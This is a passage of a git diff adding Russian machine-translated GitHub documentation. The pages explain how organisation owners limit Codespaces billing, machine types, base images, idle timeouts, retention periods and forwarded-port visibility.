variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-codespaces-prebuilds)и [Управление предельной суммой расходов для {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). Плата за хранение созданных предварительных сборок взимается по той же ставке, что и для codespace, и включается в предельную сумму расходов {% data variables.product.prodname_github_codespaces %}. + +{% endnote %} + +## Отключение или ограничение {% data variables.product.prodname_codespaces %} + +Вы можете отключить любое использование {% data variables.product.prodname_github_codespaces %}, за которое вашей организации будут выставляться счета. Кроме того, можно указать, какие участники организации или участники совместной работы могут использовать {% data variables.product.prodname_codespaces %} за счет вашей организации. Дополнительные сведения см. в разделе [Включение {% data variables.product.prodname_github_codespaces %} для организации](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization). + +{% data reusables.codespaces.codespaces-disabling-org-billing %} + +Вы можете настроить, к каким репозиториям можно получить доступ из codespace, созданных для определенного репозитория. Дополнительные сведения см. в разделе [Управление доступом к другим репозиториям в кодовом пространстве](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces). + +Вы можете ограничить выбор типов компьютеров, доступных для codespace, созданных из репозиториев, принадлежащих вашей организации. Это позволяет запретить пользователям использовать для codespace компьютеры, потребляющие слишком много ресурсов и вызывающие ненужные расходы. Дополнительные сведения см. в разделе [Ограничение доступа по типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types). + +Вы можете задать ограничение максимального времени ожидания простоя, чтобы ограничить максимальное время ожидания, которое пользователи могут установить для codespace, оплачиваемых для вашей организации. Это может снизить затраты на использование вычислительных ресурсов, создаваемые codespace, которые остаются запущенными в состоянии простоя, за счет остановки активного codespace по истечении более короткого времени ожидания. Дополнительные сведения см. в разделе [Ограничение тайм-аута простоя](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period). + +Вы также можете ограничить, как долго остановленные пространства кода могут оставаться неиспользуемые, прежде чем они будут автоматически удалены. Это поможет снизить затраты на хранение для {% data variables.product.prodname_codespaces %}. Дополнительные сведения см. в разделе [Ограничение периода хранения для codespace](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces). + +Владельцы репозитория, которые настраивают предварительные сборки для своего репозитория, могут снизить затраты на хранение предварительных сборок, настроив их для создания только в выбранных регионах. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). + +## Удаление неиспользуемых кодовых пространств + +Пользователи могут удалить собственные среды codespace в https://github.com/codespaces, а также в {% data variables.product.prodname_vscode %}. Чтобы уменьшить размер codespace, пользователи могут вручную удалить файлы с помощью терминала или в {% data variables.product.prodname_vscode_shortname %}. + +Как владелец организации вы можете удалить любую среду codespace в организации. Дополнительные сведения см. в разделе [Удаление codespace](/codespaces/developing-in-codespaces/deleting-a-codespace#deleting-codespaces-in-your-organization). + +{% note %} + +**Примечание:** Codespace автоматически удаляются после остановки и остаются неактивными в течение определяемого пользователем количества дней. Дополнительные сведения см. в статье [Настройка автоматического удаления сред codespace](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces). Как владелец организации вы можете задать максимальный срок хранения для codespace, принадлежащих вашей организации. Это переопределит личный параметр хранения пользователя. Дополнительные сведения см. в разделе [Ограничение периода хранения для codespace](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces). + +{% endnote %} + +## Дополнительные материалы + +- [Перечисление сред codespace в организации](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization) diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md new file mode 100644 index 000000000000..ad86e6d0b8ce --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md @@ -0,0 +1,93 @@ +--- +title: Ограничение доступа к типам компьютеров +shortTitle: Restrict machine types +intro: 'Вы можете задать ограничения на типы компьютеров, которые пользователи могут выбирать при создании пространств кода в организации.' +permissions: 'To manage access to machine types for the repositories in an organization, you must be an owner of the organization.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces +ms.openlocfilehash: 202a2cf9f28a55514450415230686c0c0e94600f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159160' +--- +## Обзор + +Как правило, при создании codespace предлагается выбор спецификаций для компьютера, на котором codespace будет запущен. Вы можете выбрать наиболее подходящий для себя тип компьютера. Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + +Если вы платите за использование {% data variables.product.prodname_github_codespaces %}, выбор типа компьютера повлияет на сумму счета. Стоимость вычислений для codespace пропорциональна количеству ядер процессора в выбранном типе компьютера. Например, затраты на вычислительные ресурсы при использовании codespace в течение часа на компьютере с 16 ядрами в восемь раз превышают затраты на 2-ядерный компьютер. Дополнительные сведения о ценах см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +Как владельцу организации вам может потребоваться настроить ограничения для доступных типов компьютеров. Например, если для работы в вашей организации не требуются значительные вычислительные ресурсы или дисковое пространство, можно удалить компьютеры с большим количеством ресурсов из списка вариантов, которые могут выбирать пользователи. Это можно сделать, определив одну или несколько политик в параметрах {% data variables.product.prodname_github_codespaces %} для вашей организации. + +### Поведение при установке ограничения для типа компьютера + +Если существуют codespace, которые больше не соответствуют определенной политике, они будут продолжать работать до тех пор, пока не будут остановлены или срок их действия не истечет. Когда пользователь попытается возобновить codespace, появится сообщение о том, что выбранный тип компьютера больше не разрешен для этой организации, и он получит подсказку выбрать альтернативный тип компьютера. + +Если удалить типы компьютеров с более высокой спецификацией, необходимые для конфигурации {% data variables.product.prodname_github_codespaces %} для отдельного репозитория в вашей организации, создать пространство кода для этого репозитория будет невозможно. Когда кто-то попытается создать пространство кода, он увидит сообщение о том, что нет допустимых типов компьютеров, соответствующих требованиям конфигурации {% data variables.product.prodname_github_codespaces %} репозитория. + +{% note %} + +**Примечание.** Любой пользователь, который может изменить файл конфигурации `devcontainer.json` в репозитории, имеет возможность задать минимальную спецификацию для компьютеров, которые можно использовать для codespace для этого репозитория. Дополнительные сведения см. в статье [Настройка минимальной спецификации для компьютеров с codespace](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines). + +{% endnote %} + +Если установка политики для типов компьютеров запрещает пользователям использовать {% data variables.product.prodname_github_codespaces %} для определенного репозитория, существует два варианта: + +* Вы можете настроить политики, чтобы удалять конкретные ограничения из затронутого репозитория. +* Любой пользователь, владеющий codespace, к которому он больше не может получить доступ из-за новой политики, может экспортировать свой codespace в ветвь. Эта ветвь будет содержать все изменения из codespace. Затем пользователь может открыть новый codespace в этой ветви с соответствующим типом компьютера либо локально работать в этой ветви. Дополнительные сведения см. в статье [Экспорт изменений в ветвь](/codespaces/troubleshooting/exporting-changes-to-a-branch). + +### Настройка политик для всей организации и конкретного репозитория + +При создании политики вы выбираете, применяется ли она ко всем репозиториям в организации или только к указанным. Если вы задали политику для всей организации, все политики, заданные для отдельных репозиториев, должны относиться к набору ограничений на уровне организации. Вследствие добавления политик выбор компьютера становится более строгим. + +Например, можно создать политику для всей организации, ограничивающую типы компьютеров 2 или 4 ядрами. Затем можно задать политику для репозитория A, ограниченную только компьютерами с 2 ядрами. Установка политики для репозитория A, ограниченного компьютерами с 2, 4 или 8 ядрами, приведет к выбору только 2-ядерных и 4-ядерных компьютеров, так как, согласно политике для всей организации, доступ к 8-ядерным компьютерам запрещен. + +При добавлении политики для всей организации следует задать для нее самое большое количество типов компьютеров, которые будут доступны для любого репозитория в вашей организации. Затем вы можете добавить политики для конкретного репозитория, чтобы дополнительно ограничить выбор. + +{% data reusables.codespaces.codespaces-org-policies-note %} + +## Добавление политики для ограничения доступных типов компьютеров + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.codespaces.codespaces-org-policies %} +1. Щелкните **Добавить ограничение** и выберите **Типы компьютеров**. + + ![Снимок экрана: раскрывающееся меню "Добавить ограничение"](/assets/images/help/codespaces/add-constraint-dropdown.png) + +1. Щелкните {% octicon "pencil" aria-label="The edit icon" %}, чтобы изменить ограничение, а затем отмените выбор всех типов компьютеров, доступ к которым вы не хотите предоставлять. + + ![Снимок экрана: значок карандаша для изменения ограничения](/assets/images/help/codespaces/edit-machine-constraint.png) + +{% data reusables.codespaces.codespaces-policy-targets %} +1. Если вы хотите добавить другое ограничение в политику, щелкните **Добавить ограничение** и выберите другое ограничение. Дополнительные сведения о других ограничениях см. в разделе: + * [Ограничение базового образа для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces) + * ["Ограничение видимости перенаправленных портов](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)" + * [Ограничение времени ожидания простоя](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period) + * [Ограничение срока хранения для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces) +1. Завершив добавление ограничений в политику, щелкните **Сохранить**. + +Политика будет применяться ко всем новым пространствам кода, которые оплачиваются для вашей организации. Ограничение типа компьютера также применяется к существующим codespace, когда кто-то пытается перезапустить остановленное codespace или повторно подключиться к активному codespace. + +## Изменение политики + +Можно изменить существующую политику. Например, вы можете захотеть добавить или удалить ограничения политики. + +1. Откройте страницу "Политики codespace". Дополнительные сведения см. в статье [Добавление политики для ограничения доступных типов компьютеров](#adding-a-policy-to-limit-the-available-machine-types). +1. Щелкните имя политики, которую нужно изменить. +1. Щелкните значок карандаша ({% octicon "pencil" aria-label="The edit icon" %}) рядом с ограничением "Типы компьютеров". +1. Внесите необходимые изменения и щелкните **Сохранить**. + +## Удаление политики + +1. Откройте страницу "Политики codespace". Дополнительные сведения см. в статье [Добавление политики для ограничения доступных типов компьютеров](#adding-a-policy-to-limit-the-available-machine-types). +1. Нажмите кнопку "Удалить" справа от политики, которую вы хотите удалить. + + ![Снимок экрана: кнопка удаления для политики](/assets/images/help/codespaces/policy-delete.png) + +## Дополнительные материалы + +- [Управление предельными суммами расходов для {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces) diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces.md new file mode 100644 index 000000000000..cc31f4b689db --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces.md @@ -0,0 +1,103 @@ +--- +title: Ограничение базового образа для codespace +shortTitle: Restrict base image +intro: 'Вы можете указать, какие базовые образы можно использовать для новых codespace, созданных в организации.' +permissions: 'To manage image constraints for an organization''s codespaces, you must be an owner of the organization.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces +ms.openlocfilehash: 1da438a680dd3e60c1deeec46a98fbcf48f84e5b +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159000' +--- +## Общие сведения + +При создании codespace контейнер Docker автоматически создается на удаленной виртуальной машине. Контейнер Docker создается из образа Docker. Образ фактически является шаблоном для контейнеров Docker и определяет многие аспекты результирующей среды, предоставляемой пространством кода. + +Вы можете выбрать образ, который вы хотите использовать для codespaces, указав его в конфигурации контейнера разработки для репозитория. Это можно сделать, например, с помощью `image` свойства в `devcontainer.json` файле . + +```json{:copy} +"image": "mcr.microsoft.com/vscode/devcontainers/javascript-node:18", +``` + +Дополнительные сведения см. в [спецификации контейнеров разработки](https://containers.dev/implementors/json_reference/) на containers.dev. + +Если вы не укажете образ в конфигурации контейнера разработки для репозитория, используется образ по умолчанию. Образ по умолчанию содержит несколько версий среды выполнения для популярных языков и часто используемых средств. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration). + +Как владелец организации вы можете добавить политику, ограничивающую, какие образы можно использовать для codespace, созданных в вашей организации. + +Если образ, указанный в конфигурации контейнера разработки, не соответствует одному из разрешенных образов, при попытке создать codespace для репозитория отображается следующее сообщение: + +> Не удалось создать Codespace. Базовый образ "DETAILS FROM DEV CONTAINER CONFIGURATION" не допускается на основе политики организации, установленной администратором организации. + +{% note %} + +**Примечания** +* Политика базового образа применяется только при создании codespace. В настоящее время он не применяется при перестроении контейнера. Это изменится в будущем выпуске. Дополнительные сведения см. в разделе [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle#rebuilding-a-codespace). +* Политика базового образа не применяется к образу по умолчанию или образу, который используется для восстановления codespace, если в конфигурации контейнера разработки возникает ошибка, которая предотвращает перестроение контейнера. + +{% endnote %} + +### Параметр политик для всей организации и для указанного репозитория + +При создании политики вы выбираете, применяется ли она ко всем репозиториям в организации или только к указанным. Если вы задали политику для всей организации, все политики, заданные для отдельных репозиториев, должны относиться к набору ограничений на уровне организации. Добавление политик делает выбор образа более строгим, а не менее строгим. + +Например, можно создать политику всей организации, которая ограничивает базовый образ любым из десяти указанных образов. Затем можно задать политику для репозитория A, которая ограничивает образ только двумя образами, указанными на уровне организации. Указание дополнительных образов для репозитория A не будет иметь никакого эффекта, так как эти образы не указаны в политике уровня организации. Если вы добавляете политику для всей организации, следует задать для нее самый большой выбор образов, которые будут доступны для любого репозитория в вашей организации. Затем вы можете добавить политики для конкретного репозитория, чтобы дополнительно ограничить выбор. + +{% data reusables.codespaces.codespaces-org-policies-note %} + +## Добавление политики для определения разрешенных образов + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.codespaces.codespaces-org-policies %} +1. Щелкните **Добавить ограничение** и выберите **Базовые образы**. + + ![Снимок экрана: раскрывающееся меню "Добавить ограничение"](/assets/images/help/codespaces/add-constraint-dropdown-image.png) + +1. Нажмите {% octicon "pencil" aria-label="The edit icon" %}, чтобы изменить ограничение. + + ![Снимок экрана: значок карандаша для редактирования ограничения](/assets/images/help/codespaces/edit-image-constraint.png) + +1. В поле "Разрешенные значения" введите полный URL-адрес изображения, который вы хотите разрешить. + + ![Снимок экрана: запись в поле "Разрешенные значения"](/assets/images/help/codespaces/image-allowed-values.png) + + {% note %} + + **Примечание**. Необходимо указать URL-адрес образа, который точно соответствует значению, указанному в конфигурации контейнера разработки. + + {% endnote %} + +1. Нажмите кнопку "плюс" ({% octicon "plus" aria-label="The plus icon" %}), чтобы добавить значение. +1. При необходимости повторите два предыдущих шага, чтобы добавить дополнительные URL-адреса изображений. +{% data reusables.codespaces.codespaces-policy-targets %} +1. Если вы хотите добавить другое ограничение в политику, щелкните **Добавить ограничение** и выберите другое ограничение. Сведения о других ограничениях см. в разделе: + * "[Ограничение доступа к типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" + * ["Ограничение видимости перенаправленных портов](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)" + * ["Ограничение времени ожидания простоя](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)" + * ["Ограничение срока хранения для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces)" +1. Завершив добавление ограничений в политику, щелкните **Сохранить**. + +Политика применяется, когда кто-либо пытается создать новое пространство кода, которое оплачивается для вашей организации. Ограничение базового образа не влияет на существующие codespace, активные или остановленные. + +## Изменение политики + +Можно изменить существующую политику. Например, вы можете захотеть добавить или удалить ограничения политики. + +1. Откройте страницу "Политики codespace". Дополнительные сведения см. в разделе [Добавление политики для определения разрешенных образов](#adding-a-policy-to-define-the-allowed-images). +1. Щелкните имя политики, которую нужно изменить. +1. Щелкните значок карандаша ({% octicon "pencil" aria-label="The edit icon" %}) рядом с ограничением "Базовые изображения". +1. Добавление или удаление URL-адресов изображений. +1. Выберите команду **Сохранить**. + +## Удаление политики + +1. Откройте страницу "Политики codespace". Дополнительные сведения см. в разделе [Добавление политики для определения разрешенных образов](#adding-a-policy-to-define-the-allowed-images). +1. Нажмите кнопку "Удалить" справа от политики, которую вы хотите удалить. + + ![Снимок экрана: кнопка удаления для политики](/assets/images/help/codespaces/policy-delete.png) diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md new file mode 100644 index 000000000000..f7bf9d883a35 --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md @@ -0,0 +1,88 @@ +--- +title: Ограничение тайм-аута простоя +shortTitle: Restrict timeout periods +intro: 'Вы можете задать максимальное время ожидания для codespace, принадлежащего вашей организации.' +permissions: 'To manage timeout constraints for an organization''s codespaces, you must be an owner of the organization.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces +ms.openlocfilehash: b07d1834078b065eee89acdb84e0e80a2db1e8a6 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158992' +--- +## Обзор + +По умолчанию время ожидания codespace истекает через 30 минут бездействия. По истечении времени ожидания codespace он останавливается, а плата за потребление вычислительных ресурсов больше не взимается. + +Личные параметры пользователя {% data variables.product.prodname_dotcom %} позволяют определить собственный период ожидания для создаваемых codespace. Это может занять больше 30 минут, заданных по умолчанию. Дополнительные сведения см. в разделе [Настройка времени ожидания для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces). + +Как владельцу организации вам может потребоваться настроить ограничения на максимальный тайм-аут простоя для codespace, созданного для репозиториев, принадлежащих вашей организации. Это поможет ограничить затраты, связанные с codespace, которые остаются на время ожидания после длительных периодов бездействия. Можно задать максимальное время ожидания для всех codespace во всех репозиториях, принадлежащих вашей организации, или для codespace конкретных репозиториев. + +{% note %} + +**Примечание**. Максимальные ограничения тайм-аута простоя применяются только к codespace, принадлежащим вашей организации. + +{% endnote %} + +Дополнительные сведения о стоимости использования вычислительных ресурсов {% data variables.product.prodname_github_codespaces %} см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). + +### Поведение при установке максимального ограничения тайм-аута простоя + +Если пользователь устанавливает тайм-аут простоя по умолчанию на 90 минут в личных параметрах, а затем запускает codespace для репозитория с максимальным ограничением тайм-аута простоя в 60 минут, время ожидания codespace истечет через 60 минут бездействия. По завершении создания codespace появится сообщение, объясняющее следующее: + +> Тайм-аут простоя для этого пространства кода в соответствии с политикой вашей организации составляет 60 минут. + +### Настройка политик для всей организации и конкретного репозитория + +При создании политики вы выбираете, применяется ли она ко всем репозиториям в организации или только к конкретным. Если вы создаете политику для всей организации с ограничением времени ожидания, эти ограничения в любых политиках, предназначенных для конкретных репозиториев, должны быть частью ограничения, настроенного для всей организации. Применяется самый короткий (в политике для всей организации, политике, предназначенной для конкретных репозиториев, или в личных параметрах пользователя) период ожидания. + +При добавлении политики для всей организации с ограничением времени ожидания необходимо для времени ожидания задать самый длительный допустимый период. Затем можно добавить отдельные политики, задающие в качестве максимального времени ожидания более короткий период для конкретных репозиториев в организации. + +{% data reusables.codespaces.codespaces-org-policies-note %} + +## Добавление политики для задания максимального периода тайм-аута простоя + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.codespaces.codespaces-org-policies %} +1. Нажмите **Добавить ограничение** и выберите **Максимальный тайм-аут простоя**. + + ![Снимок экрана: раскрывающееся меню "Добавить ограничение"](/assets/images/help/codespaces/add-constraint-dropdown-timeout.png) + +1. Нажмите {% octicon "pencil" aria-label="The edit icon" %}, чтобы изменить ограничение. + + ![Снимок экрана: значок карандаша для редактирования ограничения](/assets/images/help/codespaces/edit-timeout-constraint.png) + +1. Введите максимальное количество минут, в течение которых codespace могут бездействовать до истечения времени ожидания, а затем нажмите **Сохранить**. + + ![Снимок экрана: установка максимального времени ожидания в минутах](/assets/images/help/codespaces/maximum-minutes-timeout.png) + +{% data reusables.codespaces.codespaces-policy-targets %} +1. Если вы хотите добавить другое ограничение в политику, щелкните **Добавить ограничение** и выберите другое ограничение. Сведения о других ограничениях см. в разделе: + * "[Ограничение доступа к типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" + * ["Ограничение базового образа для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces)" + * ["Ограничение видимости перенаправленных портов](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)" + * ["Ограничение срока хранения для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces)" +1. Завершив добавление ограничений в политику, щелкните **Сохранить**. + +Политика будет применяться ко всем новым пространствам кода, которые оплачиваются для вашей организации. Ограничение времени ожидания также применяется к существующим codespace при следующем запуске. + +## Изменение политики + +Можно изменить существующую политику. Например, вы можете захотеть добавить или удалить ограничения политики. + +1. Откройте страницу "Политики codespace". Дополнительные сведения см. в разделе [Добавление политики для задания максимального периода тайм-аута простоя](#adding-a-policy-to-set-a-maximum-idle-timeout-period). +1. Щелкните имя политики, которую нужно изменить. +1. Щелкните значок карандаша ({% octicon "pencil" aria-label="The edit icon" %}) рядом с ограничением "Максимальное время ожидания простоя". +1. Внесите необходимые изменения и щелкните **Сохранить**. + +## Удаление политики + +1. Откройте страницу "Политики codespace". Дополнительные сведения см. в разделе [Добавление политики для задания максимального периода тайм-аута простоя](#adding-a-policy-to-set-a-maximum-idle-timeout-period). +1. Нажмите кнопку "Удалить" справа от политики, которую вы хотите удалить. + + ![Снимок экрана: кнопка удаления для политики](/assets/images/help/codespaces/policy-delete.png) diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md new file mode 100644 index 000000000000..7d769e5ba77f --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md @@ -0,0 +1,87 @@ +--- +title: Ограничение срока хранения для codespace +shortTitle: Restrict the retention period +intro: 'Вы можете задать максимальный период хранения для codespace, принадлежащего вашей организации.' +permissions: 'To manage retention constraints for an organization''s codespaces, you must be an owner of the organization.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces +ms.openlocfilehash: 3c114fe41b06176899f9dd11a6dcd51c038c88e5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158984' +--- +## Обзор + +{% data variables.product.prodname_github_codespaces %} автоматически удаляются после остановки и остаются неактивными в течение определенного количества дней. Период хранения для каждого codespace задается при создании и не изменяется. + +Все пользователи, имеющие доступ к {% data variables.product.prodname_github_codespaces %}, могут настроить период хранения для создаваемых ими codespace. Начальный параметр этого периода хранения по умолчанию составляет 30 дней. Отдельные пользователи могут задать этот период в диапазоне от 0 до 30 дней. Дополнительные сведения см. в статье [Настройка автоматического удаления сред codespace](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces). + +Как владельцу организации вам может потребоваться настроить ограничения на максимальный период хранения для codespace, созданного для репозиториев, принадлежащих вашей организации. Это поможет ограничить затраты на хранение, связанные с codespace, которые были остановлены, а затем не использовались до автоматического удаления. Дополнительные сведения о стоимости хранения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). Вы можете задать максимальный срок хранения для всех или для конкретных репозиториев, принадлежащих вашей организации. + +### Настройка политик для всей организации и конкретного репозитория + +При создании политики вы выбираете, применяется ли она ко всем репозиториям в организации или только к конкретным. Если вы создаете политику на уровне организации с ограниченным периодом хранения codespace, установленный период хранения в любых политиках, предназначенных для конкретных репозиториев, должен быть короче, чем ограничение, настроенное для всей организации, в противном случае политики не будут действовать. Применяется самый короткий (в политике для всей организации, политике, предназначенной для конкретных репозиториев, или в личных параметрах пользователя) период хранения. + +При добавлении политики для всей организации с ограничением периода хранения необходимо для периода ожидания задать самый длительный допустимый период. Затем можно добавить отдельные политики, задающие в качестве максимального периода хранения более короткий период для конкретных репозиториев в организации. + +{% data reusables.codespaces.codespaces-org-policies-note %} + +## Добавление политики для задания максимального периода хранения codespace + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.codespaces.codespaces-org-policies %} +1. Нажмите кнопку **Добавить ограничение** и выберите **Период хранения**. + + ![Снимок экрана: раскрывающееся меню "Добавить ограничение"](/assets/images/help/codespaces/add-constraint-dropdown-retention.png) + +1. Нажмите {% octicon "pencil" aria-label="The edit icon" %}, чтобы изменить ограничение. + + ![Снимок экрана: значок карандаша для редактирования ограничения](/assets/images/help/codespaces/edit-timeout-constraint.png) + +1. Введите максимальное число дней, в течение которых codespace могут оставаться остановленными до автоматического удаления, а затем нажмите кнопку **Сохранить**. + + ![Снимок экрана: настройка периода хранения в днях](/assets/images/help/codespaces/maximum-days-retention.png) + + {% note %} + + **Примечания** + * День в этом контексте — это 24-часовой период, начинающийся с момента остановки codespace. + * Допустимый диапазон охватывает значения от 0 до 30. + * Если установить период `0`, codespace будут удаляться сразу после остановки или когда закончится время ожидания из-за отсутствия активности. + + {% endnote %} + +{% data reusables.codespaces.codespaces-policy-targets %} +1. Если вы хотите добавить другое ограничение в политику, щелкните **Добавить ограничение** и выберите другое ограничение. Сведения о других ограничениях см. в разделе: + * "[Ограничение доступа к типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" + * ["Ограничение базового образа для codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces)" + * ["Ограничение видимости перенаправленных портов](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)" + * ["Ограничение времени ожидания простоя](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)" +1. Завершив добавление ограничений в политику, щелкните **Сохранить**. + +Политика будет применяться ко всем новым пространствам кода, которые оплачиваются для вашей организации. Ограничение срока хранения применяется только к созданию codespace. + +## Изменение политики + +Можно изменить существующую политику. Например, вы можете захотеть добавить или удалить ограничения политики. + +Ограничение периода хранения применяется к codespace только при их создании. Изменение политики не влияет на существующие codespace. + +1. Отображение страницы "Политики Codespace". Дополнительные сведения см. в разделе [Добавление политики для задания максимального периода хранения codespace](#adding-a-policy-to-set-a-maximum-codespace-retention-period). +1. Щелкните имя политики, которую нужно изменить. +1. Щелкните значок карандаша ({% octicon "pencil" aria-label="The edit icon" %}) рядом с ограничением "Период хранения". +1. Внесите необходимые изменения и щелкните **Сохранить**. + +## Удаление политики + +Политику можно удалить в любое время. Удаление политики не влияет на существующие codespace. + +1. Отображение страницы "Политики Codespace". Дополнительные сведения см. в разделе [Добавление политики для задания максимального периода хранения codespace](#adding-a-policy-to-set-a-maximum-codespace-retention-period). +1. Нажмите кнопку удаления справа от политики, которую вы хотите удалить. + + ![Снимок экрана: кнопка удаления для политики](/assets/images/help/codespaces/policy-delete.png) diff --git a/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md new file mode 100644 index 000000000000..cccb523957a1 --- /dev/null +++ b/translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md @@ -0,0 +1,84 @@ +--- +title: Ограничение видимости переадресованных портов +shortTitle: Restrict port visibility +intro: 'Вы можете задать ограничения для параметров видимости, которые пользователи смогут выбирать при переадресации портов для codespace в вашей организации.' +permissions: 'To manage access to port visibility constraints for the repositories in an organization, you must be an owner of the organization.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces +ms.openlocfilehash: ad670b43e0ac2a80e43048ffa61e0c83a8d12130 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158976' +--- +## Обзор + +Как правило, внутри codespace можно пересылать порты в частном порядке (только для себя), членам организации или общедоступно (всем, у кого есть URL-адрес). Дополнительные сведения см. в разделе [Переадресация портов в кодовом пространстве](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). + +Как владелец организации вы можете настроить ограничения на параметры видимости, которые пользователи могут задать при переадресации портов. Например, по соображениям безопасности можно запретить переадресацию общедоступных портов. Это можно сделать, определив одну или несколько политик в параметрах {% data variables.product.prodname_github_codespaces %} для вашей организации. + +### Реакция на событие при установке ограничения видимости порта + +Если существуют codespace, которые больше не соответствуют определенной вами политике, эти codespace будут продолжать работать, пока не будут остановлены или пока их время не истечет. Когда пользователь возобновляет codespace, он будет подвергаться ограничениям 